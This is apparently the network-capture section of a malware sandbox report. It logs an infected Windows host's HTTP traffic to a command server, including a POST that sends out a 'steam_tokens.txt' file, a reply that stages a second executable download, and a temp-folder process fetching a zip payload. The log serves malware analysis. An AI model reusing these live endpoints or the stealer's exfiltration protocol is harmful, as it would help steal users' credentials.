Apr 26, 2024 11:06:32.484891891 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:32.861812115 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:32.898974895 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:33.277378082 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:33.300744057 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:33.678005934 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:33.723522902 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:34.128278017 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:34.262976885 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:34.643030882 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:34.716269970 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:35.095237017 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:35.136264086 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:35.512101889 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:35.523503065 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:35.898458004 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:35.980520964 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:36.362227917 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:36.414705038 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:36.786402941 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:36.811897993 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:37.182490110 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:37.302254915 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAEC Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:37.677978992 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:37.729829073 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:38.109272003 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:38.179655075 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:38.552541971 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:38.558455944 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:38.932033062 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:38.937988997 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHI Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:39.315126896 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:39.321182966 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:39.698209047 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:39.715138912 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:40.086026907 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:40.117582083 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:40.491842031 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:40.531059980 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:40.905613899 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:40.915030003 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:41.291695118 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:41.298837900 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:41.678746939 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:41.733794928 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:42.114516973 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:42.121733904 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:42.494590044 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:42.675277948 CEST	564	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 185.172.128.76 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file"------FIDAFIEBFCBKFHIDHIJE--
Apr 26, 2024 11:06:43.048686028 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:43.156893969 CEST	204	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBG Host: 185.172.128.76 Content-Length: 122287 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 11:06:44.598164082 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 11:06:45.365020037 CEST	469	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFB Host: 185.172.128.76 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 68 65 72 37 68 34 38 72 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="message"her7h48r------GDBFBFCBFBKECAAKJKFB--
Apr 26, 2024 11:06:45.742701054 CEST	223	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 52 Connection: keep-alive Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 78 4e 7a 49 75 4d 54 49 34 4c 6a 49 77 4d 79 39 30 61 57 74 30 62 32 73 75 5a 58 68 6c 66 44 42 38 4d 48 78 38 Data Ascii: aHR0cDovLzE4NS4xNzIuMTI4LjIwMy90aWt0b2suZXhlfDB8MHx8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49713	176.97.76.106	80	6972	C:\Users\user\AppData\Local\Temp\i1.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:08.194019079 CEST	185	OUT	GET /1/Package.zip HTTP/1.1 Host: note.padd.cn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 26, 2024 11:06:08.458317041 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Apr 2024 08:50:51 GMT Content-Type: application/zip Content-Length: 3884863 Last-Modified: Wed, 24 Apr 2024 05:45:46 GMT Connection: keep-alive ETag: "66289c8a-3b473f" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes Data Raw: 50 4b 03 04 14 00 00 00 08 00 0b 3f 98 58 ef da 8c 80 dd c7 12 00 09 49 14 00 09 00 00 00 62 75 6e 63 68 2e 64 61 74 5c 5d 87 a2 aa 3a 16 cd af 89 8a 20 22 2a 16 10 05 54 ec 15 1b fa f7 b3 d6 4e 3c 77 66 bc ef 58 20 24 3b bb 65 b7 e4 29 a5 ac 9e af 7c 75 5d 2b bc a6 ca 55 2a 56 ea a9 7e af 81 db 9b bd d4 66 da 52 6a 65 f7 f5 b5 1d fe 1a b5 40 f5 66 f8 72 c0 df 56 0d 95 da 17 4a 2d f0 23 55 bd e7 b3 b7 bc 2a b5 de ab 3d ba 54 13 f5 45 13 35 cc 94 5a fa e3 83 aa 26 b5 9e 7a cf 95 fa f4 27 18 6b a2 8e 25 9e cb 4a 65 a9 cb 85 03 dc d4 5b 35 1e e8 cd c6 8f f7 50 c5 db 85 42 7f b5 19 40 05 ac f3 07 2e bf d4 e9 96 a8 47 eb fc 7a 5b 2a 8f 2d 42 31 e2 c3 ce d0 4a 7a 23 0c a9 ce d7 25 de bb 4a b1 fb a6 6a 06 0f d5 57 f5 a4 0e 18 af b5 00 1d 3e 36 32 eb 6a 4b 28 95 bc 0d d4 f1 a3 1a a1 9a c4 a5 02 84 45 b4 54 c9 51 7d d6 6a dd 5f 49 8b 8e 52 ee 54 45 6a a3 3e d2 f1 8b 4f c6 2a 99 3a 4a 25 6f a5 da aa 18 02 8b ec aa a6 b2 60 82 66 2b 4f a9 d6 1c 57 3e 15 87 c0 a3 dd 53 8e 49 4e 43 f5 6d ab 36 be a9 7c 77 51 bb 78 6b ba 4b fa eb fb e5 c8 6f bd 44 1d da 82 f4 13 3a ec 6e 34 01 be 0b f5 50 3e be 84 2a 4d 86 5f 7c 1b a9 8d 50 a7 52 40 9d 67 57 00 90 af 6b 98 90 58 dd c1 01 4d 62 4d d5 0b 9a 17 00 48 0d e6 07 f5 11 e0 eb 20 0c be a0 97 c5 23 6f 05 43 43 fb 21 da b5 c6 fd 31 21 52 f5 67 a2 f2 0a f8 51 63 20 22 50 0d 95 ab c2 51 87 33 a0 48 d0 42 f3 46 e7 7c 1d c6 aa 91 29 97 e0 bd ea cf c6 f8 a9 ae 13 dc f0 40 81 bf 57 f3 a8 36 9f a1 5a 03 15 37 90 39 e0 b5 ed a2 af b6 fc ea 91 64 27 60 5f bf 36 c0 7a 72 25 61 c7 c3 b6 85 1b 00 2a 1e 37 00 2c 2e 92 dd 6c 0c e4 a8 8e a3 2e 68 cb 76 9f f4 18 a0 8b e3 50 0d 4f 05 66 e1 8d 15 21 f4 fd 59 b7 f3 23 b3 b0 59 81 37 cd c2 67 d5 d8 b9 76 3d c4 f0 6b 7f a3 00 f0 4a d5 f9 d4 4e 23 5c a5 35 cc 93 d7 c1 d2 c2 a3 5d cc a7 ca f8 ad 1f b6 3c cf 56 47 55 00 7e 99 cb 9d a8 c7 2c bd d1 58 1e 6f 9b 6b 2e 80 23 8f ce 3f 76 a1 16 25 88 30 ac 2b f2 f9 8d 6d d8 28 6d c5 9e ea 61 68 be 4a 47 3e 16 00 83 fd d8 6d f7 d1 56 99 9a 0c dd f7 d3 6b 62 c0 f3 9a f3 42 ab 6a 58 a1 17 bc 56 24 70 92 a9 93 20 ce 95 c7 3f 9b 3c d8 aa f7 16 bd 5e cf 1d cc 25 4b 41 3d 30 5c be 28 ba c3 09 a6 f8 b8 51 ac 6c 3e 8c 3b 78 ad db 23 57 d5 96 40 40 1b 74 49 55 20 1d a6 f3 51 1b a0 8c 08 9a a5 16 97 14 c2 c0 d9 90 19 2f 65 c9 99 37 45 77 c4 95 f5 7d 68 dc e2 5e 4e e2 02 c5 20 89 9e 18 bb c2 8f 91 f9 de 2b 95 e6 fb 0e c8 b2 c7 0f 8d a9 62 52 7a ca ea f7 1a e3 8b 0a 81 9a 86 32 72 a5 66 1e de 84 75 27 6f bc f1 73 1c 7d 31 05 f4 b8 6a c5 7b 10 27 25 b5 c0 19 b5 85 1a b6 3f ce 81 8d 5a 03 fc 4d d5 00 d3 d4 ca ae 39 2e 7c 50 be dd 57 a3 6f a9 d6 f9 63 a0 92 d1 9b 33 c0 00 ed 15 48 5c 87 34 95 a2 42 8a c6 a3 c0 dc df df 3b 31 34 d1 a2 36 35 93 51 33 00 85 b9 f7 32 34 24 8b ec 84 e0 32 28 87 9a 39 6a c5 df 17 d5 9c fd f8 21 c1 24 f7 ea 96 9c 3c 3c 0f 86 c4 8d da 50 23 62 d7 15 4c 6a a1 44 97 76 47 c4 2b b4 7d af 54 82 03 36 74 52 d5 17 62 d9 22 e9 c4 9b 6f 84 66 a5 87 ef 68 3e cd 2a b9 86 e7 ac 89 1a fa c7 99 5a 0f 1d 35 99 28 dd d7 19 f0 5d a4 8f a2 90 d9 1c a7 e0 a5 Data Ascii: PK?XIbunch.dat\]: "TN<wfX $;e)\|u]+UV~fRje@frVJ-#U=TE5Z&z'k%Je[5PB@.Gz[-B1Jz#%JjW>62jK(ETQ}j_IRTEj>O:J%o`f+OW>SINCm6\|wQxkKoD:n4P>M_\|PR@gWkXMbMH #oCC!1!RgQc "PQ3HBF\|)@W6Z79d'`_6zr%a7,.l.hvPOf!Y#Y7gv=kJN#\5]<VGU~,Xok.#?v%0+m(mahJG>mVkbBjXV$p ?<^%KA=0\(Ql>;x#W@@tIU Q/e7Ew}h^N +bRz2rfu'os}1j{'%?ZM9.\|PWoc3H\4B;1465Q324$2(9j!$<<P#bLjDvG+}T6tRb"ofh>Z5(]
Apr 26, 2024 11:06:08.458343983 CEST	1289	IN	Data Raw: 9e eb 93 5a 97 53 4c ea 1d 6a 03 c2 62 55 39 25 62 42 ae d3 fa 42 88 fb 27 a8 43 b2 49 31 c3 44 5b ca ba aa 00 34 12 88 ca b9 5f 02 ba 75 fa 98 e6 aa 99 b6 d8 3a 3a ef 40 87 6c d7 24 a1 82 22 2e a6 95 3a 3b ba a7 69 a9 6a a6 7f 61 eb 16 d7 24 8a Data Ascii: ZSLjbU9%bBB'CI1D[4_u::@l$".:;ija$(i2_NXj&4Uh{"~2ReWhP<U0 ~pSM4G?wNx/OVcyb:kW!b'BF*s}f{'L)cz9A0`$zTN1
Apr 26, 2024 11:06:08.458378077 CEST	1289	IN	Data Raw: 91 e8 d4 4f 64 fd 25 3f c7 5c b6 02 a1 e3 62 97 c5 b4 36 30 5c 0f 0b a4 95 e2 4b f3 20 8b ae 74 0a d8 6f 64 c9 cd 0f 89 fb de 6f fc ee 08 20 10 e8 db 99 62 ec 25 9c 25 99 27 b2 b4 24 0c f1 b9 97 af 0f 68 ef 8d 2f cf 5f 68 0e ba fe 1c 0c ff 7d 3c Data Ascii: Od%?\b60\K todo b%%'$h/_h}<?\Z7V6]m!Nm(H\|Im8zn2jk)jPE/d\_r_"R:j4J\CsyuXx3tS9V;,.\|j\[S
Apr 26, 2024 11:06:08.458410025 CEST	1289	IN	Data Raw: 16 d3 e9 46 6e ba ef 9e 3e ac 87 cb 48 1b 8b 1b e2 6e 6b f7 dd 08 4c 39 c4 34 5e c7 86 4d 0e 9b cf 71 d7 69 4c 55 b7 78 9e 89 67 31 89 95 56 76 27 82 62 77 47 32 48 54 a5 75 d1 bb f3 1d 92 03 63 60 f8 fd e3 ff 91 d6 3d dd 13 b9 b9 73 37 31 97 f5 Data Ascii: Fn>HnkL94^MqiLUxg1Vv'bwG2HTuc`=s71(g{qT-#ulNjR:Om@,kfCgsl WEO1lj$z?kLUhPA8XvqbP~iwY2.y\W=1Wq0O}Rl
Apr 26, 2024 11:06:08.458431959 CEST	1289	IN	Data Raw: e1 8d 3e ea ea fb 97 aa 06 3c ad 0a 8f f7 90 2a ca 3a 58 17 34 2e 60 db f4 ce 19 bb 1b 3d d4 b1 15 8a 22 f2 ef 2b 50 21 c1 04 c8 60 9f ba 70 95 bc 1d 95 3b 4b 05 45 2e 89 7c 18 6c 94 7f c0 2f de 2f b4 4e 9c b6 90 6d 9c b4 d5 9d 0d c4 f0 bf c7 9a Data Ascii: ><:X4.`="+P!`p;KE.\|l//Nmnkk&z'74<RY>y=O+MDcSo@x 9c;>-{];@G\{?];[Peqpq=Iqa5`D_AP_GU3[_\|gYA#8
Apr 26, 2024 11:06:08.458460093 CEST	1289	IN	Data Raw: 03 fc cc 1a 92 a0 9d cc 8c 39 c4 b5 34 53 ef 8f ac 49 03 e5 36 a9 6a e7 87 3c e7 54 4e cb 6d 1f d6 0d 6f ed c9 9e e1 e6 ec 91 bf 6b 6a 91 3e cb f1 02 2a e9 eb ac d4 5f ba 11 a4 85 50 ae f5 fa 37 21 1c 57 76 b7 7d 21 ec 4b 32 0f 40 c9 12 33 1e 43 Data Ascii: 94SI6j<TNmokj>_P7!Wv}!K2@3Cs-<HIo5 Q0V?4v^i2D5v$ip^`RLK$.0 ^wS~W _h:JIEE;/?j8-
Apr 26, 2024 11:06:08.458487988 CEST	1289	IN	Data Raw: 23 92 12 a8 ed ec 3a 23 5c c7 33 cd bc 07 1c 47 cf e6 44 fb 2d e3 53 62 a2 58 17 50 1f ac 0c 92 e1 77 b6 56 b3 ba 3a 06 37 24 d5 e2 4d 74 20 4a 83 6e c1 29 9f 67 8b c1 47 5d a4 54 73 8e aa ea 13 c3 23 cc 3c 18 d3 39 ed 82 06 8b b6 ee 95 3b 16 f8 Data Ascii: #:#\3GD-SbXPwV:7$Mt Jn)gG]Ts#<9;1xr5:StLE8:ihFtT%X(]d-nS(W!(.vwpv.[E%AdOZguvYHGv:u\6sEaXu6;\.*
Apr 26, 2024 11:06:08.458518028 CEST	1289	IN	Data Raw: 26 77 2e 9f 11 1f dc c1 ba f5 4f a2 64 c7 94 86 7a 5b 8f bd 8a d0 3a 30 6e e3 7e 84 38 e6 10 7d 0d c4 e3 5d c7 eb b1 98 15 a5 59 c1 e0 e0 a1 be 3e 69 cf ba 61 6a 92 e0 3b 99 7f 83 14 9a 8b f3 12 5f 4b 28 4a 28 cd c3 63 81 59 6e ed d7 e1 53 53 4d Data Ascii: &w.Odz[:0n~8}]Y>iaj;_K(J(cYnSSM2UXf2&3mtvaj8;X!_/dlI8u1J/919FI41iD:5-^kq).ptGO4B?
